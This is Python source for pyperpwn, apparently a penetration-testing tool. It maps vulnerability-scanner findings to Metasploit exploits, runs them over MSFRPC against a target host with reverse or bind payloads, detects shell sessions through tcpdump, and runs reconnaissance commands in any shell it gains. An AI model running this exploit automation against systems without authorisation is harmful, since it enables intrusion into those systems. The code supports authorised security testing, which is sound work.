class VulnReportReader: def __init__(self): self.console = ConsoleHandler("VulnReader") # read the vuln report from a CSV file and return a list of Vulnerability objects def read_csv(self, path): self.console.info("Start reading csv file: {}".format(path)) entries = [] try: with open(path) as csv_file: csv_reader = csv.DictReader(csv_file, delimiter=",") line_count = 0 for row in csv_reader: port = -1 cvss = -1.0 try: try: port = int(row['Port']) except ValueError: self.console.warn( "\t Cannot convert 'Port' value from vuln report at line {}" .format(line_count)) try: cvss = float(row['CVSS']) except ValueError: self.console.warn( "\t cannot convert 'CVSS' value from vuln report at line {}" .format(line_count)) vuln = Vulnerability( row['IP'], port=port, cvss=cvss, protocol=row['Protocol'], cve=row['CVEs'], bid=row['BIDs'], name=row['Name'], detection=row['Detection Method'], solution_type=row['Solution Type']) entries.append(vuln) line_count += 1 except KeyError as e: self.console.error( "\t Cannot read column from report file: {}". format(e)) raise KeyError self.console.info( "Read {} entries from Vulnerability Scanner Output".format( line_count)) return entries except (TypeError, FileNotFoundError): self.console.error("Cannot read report file. Aborting...") raise FileNotFoundError
class ExplClassificationReader: def __init__(self, db_handler): self.console = ConsoleHandler("ExplClassR.") self.db = db_handler def write_to_db(self, path): self.console.info("Start reading csv file: {}".format(path)) try: with open(path) as csv_file: csv_reader = csv.DictReader(csv_file, delimiter=",") line_count = 0 for row in csv_reader: expl_class = ExploitClassification(row['Exploit'], row['Classification']) self.db.add_expl_class(expl_class) line_count += 1 self.console.info( "Written {} entries from Exploit Classification file to DB." .format(line_count - 1)) except (TypeError, FileNotFoundError): self.console.error( "Cannot open export classification file at {}.".format(path))
class SessionHandler: def __init__(self, msf_handler): self.console = ConsoleHandler('Sess.Handler') self.msf_handler = msf_handler # checks if a session has spawned by executing the given exploits. # return it's ID if possible, -1 otherwise def session_check(self, exploit_path, rport): exploit_path = "exploit/{}".format(exploit_path) self.console.info("Start Session checker for {}".format(exploit_path)) sessions = self.msf_handler.get_all_sessions() if len(sessions) > 0: self.console.debug("\t session(s) discovered: {}".format(sessions)) for session_id in sessions: if sessions[session_id][ 'via_exploit'] == exploit_path and sessions[ session_id]['session_port'] == rport: self.console.info( "\t Got session {} via exploit {}".format( session_id, exploit_path)) return int(session_id) self.console.warn("\t apparently no session spawned successfully.") return NO_SESSION_FOUND # gather useful information for a given remote session, based on the type of session and close session afterwards def gather_info(self, session_id, os): os = OS.from_string(os) session_id = str(session_id) session_obj = self.msf_handler.get_session_obj(session_id=session_id) shell_info = { 'info': self.msf_handler.get_session_dict(session_id).get('info') } if self.msf_handler.get_session_dict( session_id=session_id).get('type') == 'meterpreter': self.console.debug('\t discovered a meterpreter shell') shell_info = self.run_default_meterpreter_cmds( session=session_obj, os=os, shell_info=shell_info) else: self.console.debug('\t discovered a normal session') shell_info = self.run_default_shell_cmds(shell=session_obj, os=os, shell_info=shell_info) self.exit_shell(shell=session_obj) self.close_single_session(session_id) self.console.debug("shell info: {}".format(shell_info)) return shell_info # run special commands if a meterpreter session is present def run_default_meterpreter_cmds(self, session, os, shell_info): shell_info['meterpreter: getuid'] = self.run_single_shell_cmd( session, 'getuid') shell_info['meterpreter: route'] = self.run_single_shell_cmd( session, 'route') self.downgrade_meterpreter(session) shell_info = self.run_default_shell_cmds(session, os, shell_info=shell_info) self.exit_shell(session) return shell_info def run_default_shell_cmds(self, shell, os, shell_info): shell_info['whoami'] = self.run_single_shell_cmd(shell, 'whoami') if os == OS.LINUX: shell_info['uname -a'] = self.run_single_shell_cmd( shell, 'uname -a') shell_info['ifconfig'] = self.run_single_shell_cmd( shell, 'ifconfig') if os == OS.WINDOWS: shell_info['ipconfig'] = self.run_single_shell_cmd( shell, 'ipconfig') return shell_info def run_single_shell_cmd(self, shell, cmd): shell.write(cmd) try: time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE) shell_response = shell.read().strip() if shell_response != '': self.console.info( "Received shell response to command '{}'.".format(cmd)) self.console.debug("\t {}".format(shell_response)) return shell_response else: self.console.info( "Received empty shell response to command '{}'.".format( cmd)) return None except KeyError: self.console.error( "Unable to read data from console for command '{}'.".format( cmd)) return None @staticmethod def only_empty_replies(shell_info): for cmd in shell_info: if shell_info.get(cmd) is not None: return False return True def exit_shell(self, shell): shell.write('exit') def downgrade_meterpreter(self, meterpreter_session): meterpreter_session.write('shell') time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE) meterpreter_session.read() # close a single session so that pyperpwn does not get confused while future executions of this exploit def close_single_session(self, session_id): self.exit_shell( self.msf_handler.get_session_obj(session_id=str(session_id))) self.console.info( "Automatically closed session with id {}".format(session_id)) # close all open remote sessions def close_all_sessions(self): sessions = self.msf_handler.get_all_sessions() for session_id in sessions: self.exit_shell( self.msf_handler.get_session_obj(session_id=session_id)) self.console.info("Automatically closed {} sessions.".format( len(sessions)))
class ExploitExecutor: def __init__(self, msf_handler, wizard): self.console = ConsoleHandler('ExploitExec') self.msf_handler = msf_handler self.wizard = wizard # checks if non-common params are existent and returns a dict of new values in case they should be changed def check_exploit_params(self, expl): non_common = expl.get_non_common_params() self.console.debug("\t all required params {}".format(expl.req_params)) self.console.debug("\t non-common params {}".format(non_common)) params = {} if len(non_common) > 0: check = self.console.prompt( "Exploit has {} non-common params. Do you want to change them? [y/n]" .format(len(non_common))) current_expl = self.msf_handler.get_exploit(expl.path) if check == 'y': for param in non_common: current_val = current_expl[param] new_val = self.wizard.read_param_value_from_console( param, current_val) if new_val is not None: params[param] = new_val else: self.console.debug("apparently no change is demanded") return params # execute an exploit with the given parameters def execute_exploit(self, expl, params, additional_params, express=False, execall=False): execute = False if not ExploitExecutor.is_private_address(params.get('rhost')): if self.wizard.exec_expl_against_public_addr(params.get('rhost')): execute = True elif express or execall: execute = True elif self.wizard.exec_expl(expl_path=expl.path, rhost=params.get('rhost')): execute = True if execute: exploit = self.get_prepared_exploit(expl.path, params, additional_params) payload = self.get_prepared_payload(exploit, params.get('lhost'), params.get('lport'), express=express) is_reverse_payload = PayloadUtils.is_reverse_payload( payload=payload) is_staged_payload = PayloadUtils.is_staged_payload(payload=payload) result = [] conn_supervisor = ConnectionSupervisor( lhost=params.get('lhost'), rhost=params.get('rhost'), is_reverse_payload=is_reverse_payload, is_staged_payload=is_staged_payload, results=result, rport=params.get('rport'), lport=params.get('lport')) conn_supervisor.start() self.console.info("Set payload '{}'".format(payload.modulename)) cid = self.msf_handler.get_new_console_with_id() self.console.info( "Exploit is being executed using msf console {}. This might take a while." .format(cid)) output = self.msf_handler.execute_exploit_with_output( cid=cid, exploit=exploit, payload=payload) self.console.info("Received exploit output") self.console.debug(output) conn_supervisor.join() self.console.debug( "ConnectionInspector detection methods: {}".format(result)) if output is None: self.console.error("Unable to execute exploit!") else: self.console.info("Exploit has been run without errors.") return {'output': output, 'detection_method': result} else: return {'output': None, 'detection_method': None} return None # get exploit object defined by 'path' with all delivered params set def get_prepared_exploit(self, path, params, additional_params): exploit = self.msf_handler.get_exploit(path) try: self.set_module_param('exploit', exploit, 'RHOST', params['rhost']) except KeyError: self.set_module_param_safely('exploit', exploit, 'RHOSTS', params['rhost']) self.set_module_param_safely('exploit', exploit, 'RPORT', params['rport']) self.set_module_param_safely('exploit', exploit, 'VERBOSE', True) for key in additional_params.keys(): self.set_module_param_safely('exploit', exploit, key, additional_params.get(key)) if len(exploit.missing_required) > 0: self.console.warn( "Exploit might fail because of missing parameter values: {}". format(exploit.missing_required)) return exploit # get the payload object to be used for execution def get_prepared_payload(self, expl, lhost, lport, express=False): payload_name = None if not express: payload_name = self.wizard.get_payload(payload_paths=expl.payloads) if payload_name is None: payload_name = PayloadUtils.get_prioritized_payload(expl.payloads) self.console.info("\t Selected payload: {}".format(payload_name)) payload = self.msf_handler.get_payload(payload_path=payload_name) self.console.debug("Payload requires those params: {}".format( payload.required)) if 'LPORT' in payload.required: self.set_module_param_safely('payload', payload, 'LPORT', lport) if 'LHOST' in payload.required: self.set_module_param_safely('payload', payload, 'LHOST', lhost) return payload # set a single param value for the given module, don't catch errors def set_module_param(self, module_type, module_obj, param_name, param_val): module_obj[param_name] = param_val self.console.debug("\t setting {} param {} to {}".format( module_type, param_name, param_val)) # set a single param and catch errors def set_module_param_safely(self, module_type, module_obj, param_name, param_val): try: self.set_module_param(module_type, module_obj, param_name, param_val) except KeyError as e: self.console.warn("Failed to set module param: ".format(e)) # checks if the given IP address is private, returns true if yes @staticmethod def is_private_address(ip): ip_parts = ip.split('.') for i, _ in enumerate(ip_parts): ip_parts[i] = int(ip_parts[i]) if ip_parts[0] == 10: return True if ip_parts[0] == 172 and 16 <= ip_parts[1] <= 31: return True if ip_parts[0] == 192 and ip_parts[1] == 168: return True return False
class MsfHandler: def __init__(self, host, port, pwd): self.console = ConsoleHandler('MsfHandler') self.msfrpc_client = self.get_msfrpc_client(host=host, port=port, pwd=pwd) if self.msfrpc_client is None: raise ConnectionError('Cannot connect to MSFRPC') # start the client and return it def get_msfrpc_client(self, host, port, pwd): self.console.info("Connecting to MSFRPC server...") msf_client = None try: msf_client = MsfRpcClient(password=pwd, port=port, server=host, ssl=False) self.console.info( "\t Successfully connected to MSFRPC at {}:{}".format( host, port)) msf_console = MsfRpcConsole(msf_client, cb=MsfHandler.read_output) except (ConnectionRefusedError, NewConnectionError, MaxRetryError, requests.exceptions.ConnectionError) as e: self.console.error( "\t Connection to MSFRPC at {}:{} couldn't be established: {}!" .format(host, port, type(e).__name__)) except MsfAuthError: self.console.error("MSFRPC Authentication error.") except MsfRpcError: self.console.error("\t Error while logging in to MSFRPC!") return msf_client @staticmethod def read_output(console_data): console = ConsoleHandler('MsfHandler') console.debug("Main console received output: {}".format(console_data)) def get_all_exploits(self): return self.msfrpc_client.modules.exploits # get reference to metasploit exploit object def get_exploit(self, expl_path): try: expl = self.msfrpc_client.modules.use('exploit', expl_path) return expl except (UnicodeDecodeError, requests.exceptions.ConnectionError): ConsoleHandler("ExploitParser").error( "\t error decoding exploit module") return None def get_payload(self, payload_path): return self.msfrpc_client.modules.use('payload', payload_path) def execute_exploit_with_output(self, cid, exploit, payload): return self.msfrpc_client.consoles.console(cid).run_module_with_output( exploit, payload=payload) def get_new_console_with_id(self): return self.msfrpc_client.consoles.console().cid def get_all_sessions(self): return self.msfrpc_client.sessions.list def get_session_dict(self, session_id): return self.get_all_sessions()[session_id] def get_session_obj(self, session_id): return self.msfrpc_client.sessions.session(session_id)
class ConnectionSupervisor(Thread): proc = None detected_syn = False detected_synack = False syn_seq = -1 synack_seq = -1 detected_exploit_delivery = False detected_payload_delivery = False detected_payload_connection = False expl_exec_detection_method: ExplExecDetectionMethod def __init__(self, lhost, rhost, rport, lport, is_reverse_payload, is_staged_payload, results): Thread.__init__(self) self.console = ConsoleHandler('ConnSuperv') if lhost is None or rhost is None or lhost == '' or rhost == '': raise AttributeError('You need to specify a value for rhost and lhost.') self.lhost = lhost self.rhost = rhost self.rport = rport self.lport = lport self.is_reverse_payload = is_reverse_payload self.is_staged_payload = is_staged_payload self.file = open("tcpdump_log.txt", "w") self.results = results # Start the subprocess def run(self): self.console.info("Start to capture network traffic with host {}...".format(self.rhost)) self.proc = subprocess.Popen(['tcpdump', '-l', 'host', self.rhost, '-nn', '-S'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # -nn = don't convert addresses and port numbers to names # -S = print absolute sequence numbers for row in iter(self.proc.stdout.readline, b''): line_str = row.rstrip().decode("utf-8") self.console.debug(line_str) self.write_to_log(line_str) request = self.parse_tcpdump_line(line_str) connection = self.detect_established_connection(request, self.lhost, self.rhost) successful_exec = None reverse_payload_req = self.detect_reverse_payload_request(request) self.append_to_results(reverse_payload_req) dropper_req = self.detect_dropper_request(request) self.append_to_results(dropper_req) if connection is not None: self.console.debug("detected established connection with direction: {}".format(connection.direction)) successful_exec = self.detect_successful_exec(connection=connection, rport=self.rport, lport=self.lport) if (successful_exec is not None and successful_exec != ExplExecDetectionMethod.NONE) or \ reverse_payload_req is not None or dropper_req is not None: self.append_to_results(successful_exec) self.console.warn("EXPLOIT HAS BEEN EXECUTED ON THE TARGET!") self.console.info("\t detected with: {}".format(self.results[-1].name)) self.write_to_log("detected: ".format(self.results[-1].name)) # Stop the subprocess def join(self, timeout=None): self.console.info("Stop capturing network traffic...") if self.proc is not None: self.console.debug("killing subprocess with PID {}...".format(self.proc.pid)) self.proc.terminate() self.console.debug("killed...") self.file.close() Thread.join(self) # reset all connection state flags def reset_conn_state(self): self.detected_syn = False self.detected_synack = False self.syn_seq = -1 self.synack_seq = -1 # reset all execution state flags def reset_exec_state(self): self.detected_exploit_delivery = False self.detected_payload_delivery = False self.detected_payload_connection = False @staticmethod def remove_redundant_chars(val): if val[:1] == '[': val = val[1:] if val[-1:] == ':' or val[-1:] == ']': val = val[:-1] return val # parse a line of tcpdump and return a Request object or (in case of errors) an empty dict def parse_tcpdump_line(self, line): line = line.split(', ') params = [] for item in line: if item[:7] == 'options': params.append('options') params.append(item[8:]) else: for elem in item.split(' '): params.append(elem) for i in range(len(params)): params[i] = self.remove_redundant_chars(params[i]) if len(params) >= 7: request = {'time': params[0], 'protocol': params[1]} if request.get('protocol') == 'IP': request['source_ip'] = ConnectionSupervisor.extract_ip_address(params[2]) request['source_port'] = ConnectionSupervisor.extract_port_number(params[2]) request['target_ip'] = ConnectionSupervisor.extract_ip_address(params[4]) request['target_port'] = ConnectionSupervisor.extract_port_number(params[4]) request['flags'] = params[6] count = 7 while count + 2 <= len(params): val = params[count + 1] try: val = int(val) except ValueError: val = str(val) request[params[count]] = val count += 2 return request return {} @staticmethod def extract_ip_address(addr_str): elems = addr_str.split(".") return "{}.{}.{}.{}".format(elems[0], elems[1], elems[2], elems[3]) @staticmethod def extract_port_number(addr_str): try: return int(addr_str.split(".")[4]) except (ValueError, IndexError): return -1 # determine the direction of a given request def get_request_direction(self, conn, lhost, rhost): if lhost == conn.get('source_ip') and rhost == conn.get('target_ip'): return ConnectionDirection.HOST_TO_TARGET if lhost == conn.get('target_ip') and rhost == conn.get('source_ip'): return ConnectionDirection.TARGET_TO_HOST return ConnectionDirection.UNDETERMINED # returns a Connection object as soon as a successful TCP handshake has been detected def detect_established_connection(self, request, lhost, rhost): flags = request.get('flags') if flags == 'S': self.detected_syn = True self.syn_seq = request.get('seq') self.console.debug("...detected SYN") if flags == 'S.' and self.detected_syn and request.get('ack') == self.syn_seq + 1: self.detected_synack = True self.synack_seq = request.get('seq') self.console.debug("...detected SYNACK") if flags == '.' and self.detected_syn and self.detected_synack and request.get('ack') == self.synack_seq + 1: self.console.debug("...detected ACK") direction = self.get_request_direction(conn=request, lhost=lhost, rhost=rhost) self.reset_conn_state() self.console.debug(request) connection = Connection(direction=direction, client_ip=request.get('source_ip'), client_port=request.get('source_port'), server_ip=request.get('target_ip'), server_port=request.get('target_port')) return connection return None # detect by the given execution state and a new connection whether the exploit has already been successfully executed def detect_successful_exec(self, connection, rport, lport): self.console.debug("lport: {}, rport: {}".format(lport, rport)) self.console.debug(connection) # error case if connection is None or connection.direction == ConnectionDirection.UNDETERMINED: return ExplExecDetectionMethod.NONE # no matter what kind of payload, the exploit needs to be delivered first if not self.detected_exploit_delivery and connection.direction == ConnectionDirection.HOST_TO_TARGET and connection.server_port == rport: self.detected_exploit_delivery = True self.console.info("Detected exploit delivery to target") return ExplExecDetectionMethod.NONE # to detect payload connection for single payloads: if not self.is_staged_payload and self.detected_exploit_delivery: # for single bind payloads if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload: # and lport == connection.server_port self.console.info("Detected single bind payload connection") return ExplExecDetectionMethod.BIND_PAYLOAD_CONNECTION # for single reverse payloads if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port: self.console.info("Detected single reverse payload connection") return ExplExecDetectionMethod.REVERSE_PAYLOAD_CONNECTION # to detect the delivery of the stage for staged payloads if self.is_staged_payload and self.detected_exploit_delivery and not self.detected_payload_delivery: if connection.direction == ConnectionDirection.TARGET_TO_HOST: self.detected_payload_delivery = True self.console.info("Reverse payload has been delivered") return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION # to detect the payload connection for staged payloads if self.detected_payload_delivery and self.is_staged_payload: if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload and lport == connection.server_port: self.console.info("Detected staged bind payload") if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port: self.console.info("Detected staged reverse payload connection") return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION return ExplExecDetectionMethod.NONE # detect a connection attempt from a reverse payload by the given request def detect_reverse_payload_request(self, request): try: if self.detected_exploit_delivery and self.is_reverse_payload and request['source_ip'] == self.rhost and \ request['target_ip'] == self.lhost and request['target_port'] == self.lport and \ request.get('flags') == 'S': self.console.info("Detected reverse payload request.") return ExplExecDetectionMethod.REVERSE_PAYLOAD_REQUEST except KeyError: pass return None # detect a connection attempt from the payload's dropper def detect_dropper_request(self, request): try: if self.detected_exploit_delivery and self.is_staged_payload and request['source_ip'] == self.rhost and \ request['target_ip'] == self.lhost and not self.detected_payload_connection and \ request.get('flags') == 'S' and request['target_port'] != self.lport: self.console.info("Detected request from the payload dropper") return ExplExecDetectionMethod.PAYLOAD_STAGE_REQUEST except KeyError: pass return None def append_to_results(self, detection_method): if detection_method is not None and detection_method is not ExplExecDetectionMethod.NONE: self.results.append(detection_method) # for debugging def write_to_log(self, line): try: self.file.write('{} \n'.format(line)) except ValueError: pass
class DBHandler: def __init__(self, msf_handler): self.msf_handler = msf_handler self.console = ConsoleHandler("DBHandler") self.exploits = [] self.db_client = MongoClient(db_config.get("host"), db_config.get("port")) self.db = self.db_client.pyperpwn self.expl_coll = self.db.exploits self.cve_coll = self.db.cve self.vuln_coll = self.db.vulns self.expl_class_coll = self.db.classifications self.exec_status_coll = self.db.exec_status self.check_db_connection() def check_db_connection(self): self.console.info("Checking connection to MongoDB...") try: self.db_client.server_info() except ServerSelectionTimeoutError: self.console.error( "Unable to connect to MongoDB! Please check if it is running and reachable on {}:{}. Aborting..." .format(db_config.get("host"), db_config.get("port"))) raise ConnectionError('cannot connect to MongoDB.') # remove all cached data that is not necessary for a clean start def clear_db_on_start(self): self.console.debug("Remove cached data from DB...") self.db.vulns.remove({}) self.db.exec_status_coll.remove({}) # remove all data that has been cached in the DB def remove_cached_data(self): self.expl_class_coll.remove({}) # checks if a refill of the exploit collection is necessary and if yes, performs it def build_expl_coll(self): self.console.info("Checking state of Exploit Cache...") if self.check_db(): self.console.info("\t No need to fill cache again. Proceeding...") return self.console.info("\t Remove orphaned exploits...") self.expl_coll.delete_many({}) self.console.info("\t Start caching exploits...") fail_count = 0 i = 0 for expl_name in self.msf_handler.get_all_exploits(): expl = self.get_exploit_obj_by_name(expl_name) if expl is None: fail_count += 1 else: self.expl_coll.insert_one(expl) i += 1 self.expl_coll.create_index([('search_name', pymongo.TEXT)], name='search_index', default_language='english') self.console.info( "Successfully built cache with {} entries. Faced {} errors".format( i - fail_count, fail_count)) # creates an exploit object from the MSF data related to the given exploit path def get_exploit_obj_by_name(self, expl_path): expl = self.msf_handler.get_exploit(expl_path) cve = DBHandler.get_module_attribute('CVE', expl.references) bid = DBHandler.get_module_attribute('BID', expl.references) full_name = expl._info['name'] search_name = Exploit.improve_name(full_name) rank = expl._info['rank'] os = DBHandler.get_os_from_expl_name(expl_path) expl_obj = Exploit(path=expl_path, full_name=full_name, search_name=search_name, os=os, rank=rank, cve=cve, bid=bid, all_params=expl.options, req_params=expl.required, score=0.0) expl_dict = expl_obj.to_dict() return expl_dict # check if the DB contains almost the same amount of exploits as MSF def check_db(self): db_count = self.expl_coll.count_documents({}) msf_count = len(self.msf_handler.get_all_exploits()) self.console.info( "\t Found {} exploits in DB, while MSF currently offers {} in total" .format(db_count, msf_count)) if db_count + db_config.get("diff_range") >= msf_count: return True return False @staticmethod def get_module_attribute(tag, attribute_list): for elem in attribute_list: if elem[0] == tag: return elem[1] return "" @staticmethod def get_os_from_expl_name(expl_name): expl_name = expl_name.split("/") return expl_name[0] def search_by_cve(self, cve): matching_expl = [] for expl in self.expl_coll.find({"cve": cve}): expl_obj = Exploit.from_dict(expl) matching_expl.append(expl_obj) return matching_expl def search_by_bid(self, bid): matching_expl = [] for expl in self.expl_coll.find({"bid": bid}): expl_obj = Exploit.from_dict(expl) matching_expl.append(expl_obj) return matching_expl # search the DB for all exploits with a matching name (textScore) def search_by_name(self, name): matching_expl = [] for expl in self.expl_coll.find({'$text': { '$search': name }}, {'score': { '$meta': 'textScore' }}): expl_obj = Exploit.from_dict(expl) matching_expl.append(expl_obj) return matching_expl # # methods for the CVE details collection # def add_cve_details(self, cve): self.cve_coll.insert_one(cve) def get_cve(self, cve): return self.cve_coll.find_one({'cve': cve}) # # methods for the exploits' classifications collection # def add_expl_class(self, expl_class): self.expl_class_coll.insert_one(expl_class.to_dict()) def get_expl_class(self, expl_path): classification_obj = self.expl_class_coll.find_one( {'expl_path': expl_path}) if classification_obj is None: return None return getattr(ExploitClass, classification_obj.get('class', None).upper(), None) # # methods for application's execution status # def save_exec_status(self, status): status.ended = time.time() self.exec_status_coll.insert_one(status.to_dict()) self.console.info("Successfully saved execution status to DB...") def take_matching_exec_status(self, ip): status_dict = self.exec_status_coll.find_one({'ip': ip}) if status_dict is None: return None self.exec_status_coll.delete_one({'_id': status_dict.get('_id')}) return ExecStatus.from_dict(status_dict) # # methods for vulnerabilities collection # def save_vulns(self, vulns): for vuln in vulns: self.vuln_coll.insert_one(vuln.to_dict()) def get_vulns(self): vuln_objs = [] vulns = self.vuln_coll.find({}).sort('cvss', pymongo.DESCENDING) for vuln in vulns: vuln_obj = Vulnerability.from_dict(vuln) vuln_objs.append(vuln_obj) return vuln_objs
class Wizard: def __init__(self): self.print_greeting() self.console = ConsoleHandler("Wizard") def get_options(self): try: args = self.parse_args() args['vuln_source'] = self.check_delivered_value( args['vuln_source'], "Vulnerability Scanner Report Path", (lambda x: True)) args['expl_class'] = self.check_delivered_value( args['expl_class'], "Exploit Classification File Path", (lambda x: True)) args['rhost'] = self.check_delivered_value( args.get('rhost'), "Remote Host IP Address", self.check_is_ip_addr) args['lhost'] = self.check_delivered_value( args.get('lhost'), "Local Host IP Address", self.check_is_ip_addr) args['expl_rank'] = self.check_delivered_value( args.get('expl_rank'), "Exploit minimum rank", (lambda x: Rank.is_valid(x))) args['expl_os'] = self.check_delivered_value( args.get('expl_os'), "Rhost operating system", (lambda x: OS.is_valid(x))) args['xspeed'] = self.check_delivered_value( int(args.get('xspeed')), "Execution speed", (lambda x: x in [1, 2, 3])) args['xspeed'] = Speed(args['xspeed']) args['espeed'] = self.check_delivered_value( int(args.get('espeed')), "Evaluation speed", (lambda x: x in [1, 2, 3])) args['espeed'] = Speed(args['espeed']) args['lport'] = int(args['lport']) self.console.debug(args) if args.get('express'): self.console.warn( "EXPRESS MODE IS ENABLED. Only as few prompts as necessary will appear. Please note that using the default values might lead to worse results." ) return args except ValueError: raise ValueError @staticmethod def parse_args(): parser = ArgumentParser( description= "pyperpwn - Tool to verify the success of Metasploit's exploits", epilog='With great power comes great responsibility. Use with care.' ) parser.add_argument("-p", "--password", dest="msfrpc_pwd", help="Connect to MSFRPCD using this password", metavar="pwd", required=True) parser.add_argument("-a", "--msfhost", dest="msfrpc_host", help="Connect to MSFRPCD at this IP address", metavar="ip", default=msf_default_config.get("host")) parser.add_argument("-P", "--port", dest="msfrpc_port", help="Connect to MSFRPCD at the specified port", metavar="port", default=msf_default_config.get("port")) parser.add_argument( "-o", "--os", dest="expl_os", help= "Use only exploits developed for this OS. Currently supports 'linux' and 'windows' and 'all'.", metavar="name") parser.add_argument('--no-multi', dest='expl_os_multi', action='store_false', help="Do not use universal exploits") parser.set_defaults(expl_os_multi=True) parser.add_argument("-r", "--rank", dest="expl_rank", help="Use only exploits with this minimum rank", metavar="min-rank", default="manual") parser.add_argument("-v", "--vulns", dest="vuln_source", help="Read this report of a vulnerability scanner", metavar="path") parser.add_argument( "-c", "--class", dest="expl_class", help="Read this file containing an exploit classification", metavar="path") parser.add_argument("-x", "--export", dest="report_path", help="Save the output report at this location", metavar="path", default="hyper_pyper_report.csv") parser.add_argument("-t", "--target", dest="rhost", help="IP address of the remote host to be tested", metavar="ip") parser.add_argument( "-l", "--lhost", dest="lhost", help="IP address of the local host running this script", metavar="ip") parser.add_argument("-w", "--lport", dest="lport", help="Port number to be used for Session Handlers", metavar="port", default="5678") parser.add_argument( '-e', dest='exec_expl', action='store_true', help="Only actually execute exploits if this flag is set.") parser.add_argument( "-xs", "--execspeed", dest="xspeed", help= "The speed level to be used for exploit execution. Can be either 1, 2 or 3. (the higher, the faster)", metavar="1|2|3", default="3") parser.add_argument( "-es", "--evalspeed", dest="espeed", help= "The speed level to be used for success evaluation. Can be either 1, 2 or 3. (the higher, the faster)", metavar="1|2|3", default="3") parser.add_argument( "-XX", "--express", dest="express", action='store_true', help= "Execute the tool using default values and without any prompts.") parser.add_argument( "-XA", "--execall", dest="execall", action='store_true', help="Don't ask whether exploits should be executed.", ) parser.set_defaults(exec_expl=False) parser.set_defaults(express=False) parser.set_defaults(execall=False) args = vars(parser.parse_args()) return args # check if the provided param value is valid, judging by the given validation function def check_delivered_value(self, val, name, validation_fun): if val is None: val = self.read_option_value(name) if validation_fun(val): self.console.debug("setting '{}' to '{}'".format(name, val)) return val self.console.error("\t no valid value provided for '{}'".format(name)) raise ValueError def read_option_value(self, option_name): param_value = self.console.prompt( "Required option [{}] not specified. Enter a value".format( option_name)) if len(param_value) == 0: self.console.error("Cannot work without this parameter...") return param_value @staticmethod def check_is_ip_addr(ip): parts = ip.split('.') if len(parts) == 4: for part in parts: if int(part) < 0 or int(part) > 255: return False return True return False # return the path of the manually selected payload, or None for default payload def get_payload(self, payload_paths): change_payload = self.console.prompt( "Do you want to change the default payload ({} alternatives available)? [y/n]" .format(len(payload_paths) - 1)) if change_payload == 'y': self.console.info("\t Available payloads:") for i in range(len(payload_paths)): self.console.info("\t ({})\t{}".format(i, payload_paths[i])) try: new_payload = int( self.console.prompt( "Enter the number of the payload to use instead (blank for default)" )) except ValueError: self.console.debug( "No number provided. Default payload will be used.") return None if new_payload in range(len(payload_paths)): return payload_paths[new_payload] self.console.warn( "Invalid value provided. Default payload will be used.") return None # prompt the user for a new value for a given module param def read_param_value_from_console(self, param_name, current_value): param_value = self.console.prompt( "\t [{}], current value: '{}'. Enter a new value (leave blank for default)" .format(param_name, str(current_value))) if len(param_value) > 0: self.console.debug("\t setting param {} = {}".format( param_name, param_value)) return param_value return None def continue_last_exec(self, ip, exec_state): if exec_state is None: self.console.debug( 'No matching previous unfinished execution found.') return False self.console.info( "Found an unfinished execution against {}, started at {}".format( ip, time.strftime('%Y-%m-%d %H:%M %Z', time.localtime(exec_state.start_time)))) continue_exec = self.console.prompt( 'Do you want to continue? "n" discards the data. [y/n]') == 'y' if continue_exec is True: self.console.debug( 'Continue previously unfinished execution {}'.format( exec_state)) return continue_exec def generate_report_now(self): return self.console.prompt( "Save this execution for later [c]ontinuation, [g]enerate a report now or e[x]it at any cost?" ) def exec_expl_against_public_addr(self, rhost): return self.console.prompt( "Detected public IP address. Do you want to execute the exploit against {}? [y/n]" .format(rhost)) == 'y' def exec_expl(self, expl_path, rhost): return self.console.prompt( "Do you want to execute exploit '{}' against {}? [y/n]".format( expl_path, rhost)) == 'y' def print_expl_exec_info(self, expl_path, is_repetition): if not is_repetition: self.console.empty(1) self.console.caption( "Exploit '{}' will now be executed".format(expl_path)) else: self.console.empty(1) self.console.warn( "Exploit '{}' will be re-executed since it hasn't been successful." .format(expl_path)) def print_greeting(self): print( "\n====================================================================================\n" ) print( " $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\ $$\ $$$$$$$\ \n" + "$$ __$$\ $$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ | $$ |$$ __$$\ \n" "$$ / $$ |$$ | $$ |$$ / $$ |$$$$$$$$ |$$ | \__|$$ / $$ |$$ | $$ | $$ |$$ | $$ |\n" "$$ | $$ |$$ | $$ |$$ | $$ |$$ ____|$$ | $$ | $$ |$$ | $$ | $$ |$$ | $$ |\n" "$$$$$$$ |\$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$$$$$$ |\$$$$$\$$$$ |$$ | $$ |\n" "$$ ____/ \____$$ |$$ ____/ \_______|\__| $$ ____/ \_____\____/ \__| \__|\n" "$$ | $$\ $$ |$$ | $$ | \n" "$$ | \$$$$$$ |$$ | $$ | \n" "\__| \______/ \__| \__| \n" ) print( "====================================================================================\n" ) print( "Welcome to pyperpwn!\nPlease restart the MSFRPC daemon everytime you restart this application.\n" ) print( "====================================================================================\n" ) def print_vuln_caption(self, vuln_name, cve, cvss): self.console.empty(2) self.console.caption( "NOW TREATING VULNERABILITY: '{}' (CVSS: {})".format( vuln_name, cvss)) self.console.empty(1)
